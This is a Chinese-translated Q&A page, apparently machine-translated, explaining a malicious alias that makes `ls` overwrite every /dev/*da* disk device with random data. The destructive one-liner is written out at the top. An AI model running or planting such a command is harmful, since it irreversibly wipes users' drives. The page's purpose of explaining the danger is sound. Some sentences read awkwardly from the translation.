但是我的推定是有害的
alias ls="for i in /dev/*da* ; do cat /dev/urandom &> ${i} & done
如果代码似乎丢失/错误缩进,请修复它。
该代码是不正确。它在for循环的末尾缺少右引号,这可能是有害的。让我解释一下。
该alias
命令是外壳公告。顾名思义,它将一个单词作为另一个命令的别名。那本身不是恶意的或有害的。在大多数情况下,它非常有用,尤其是当您需要定期运行带有多个标志和参数的非常长的命令时。
使此命令潜在有害的是两个不同因素的组合。
-bash-3.2$ type ls ls is hashed (/bin/ls) -bash-3.2$ ls file file1 file2 -bash-3.2$ alias ls="echo this is a test" -bash-3.2$ ls this is a test -bash-3.2$
alias
正确执行此命令后,它将ls
使用for循环覆盖该命令,执行该循环时,将使用伪随机数据覆盖第一个可识别的硬盘驱动器中的第一个,然后继续执行下一个。要尝试分解此for循环的工作方式,首先需要在/ dev中查找与通配符扩展匹配的任何设备块*da*
。IDE驱动器使用h
前缀,而SATA驱动器使用s
前缀。在大多数具有一个硬盘驱动器的现代计算机中,该硬盘驱动器的设备块为/dev/sda
。
从那里开始,每个分区都带有数字后缀(例如sda1
,sda2
等等)。匹配设备块后,$ i的值将包含它的路径。然后,它将在后台运行该命令cat /dev/urandom &> ${i} &
,该命令将cat /dev/urandom
在后台运行,并将其吐出的所有数据发送为$ {i}的值,从而用伪随机数据有效地覆盖了设备块。
一旦第一个分区被填满,该cat
命令将结束并且for循环将再次运行,检查下一个匹配的块设备,用伪随机数据覆盖它,然后继续进行下一个直到不再有匹配的块设备。
需要明确的是,这本身并不是有害的。运行此alias
命令后,您必须运行ls
(以root用户身份运行-如果您不是root用户,则将无法运行,因为您无法以任何其他用户的身份将数据写入设备块)会造成任何损害。
可视化这是多么危险的一个好方法是奔跑bash -x
。Shell启动时,将运行一堆系统和用户特定的配置文件。对于bash,常见的是/etc/bash_profile
和~/.bash_profile
。通常,这些文件之一还具有if语句,以检查~/.bashrc
是否存在该源。由于这仅在ls
以root用户身份执行时才有效,因此该alias
命令必须首先以root用户身份运行。要使某人将此文件添加到其中一个文件中,他们必须首先以某种方式获得root用户访问权限。
最后,我想指出的是,这是一个不切实际的问题,对于某些人来说,要拔出他们没有root访问权限的计算机将非常困难。也有一些涉及较少的,同样是恶意的命令,这些命令不需要root访问系统即可执行。
本文收集自互联网,转载请注明来源。
如有侵权,请联系[email protected] 删除。
我来说两句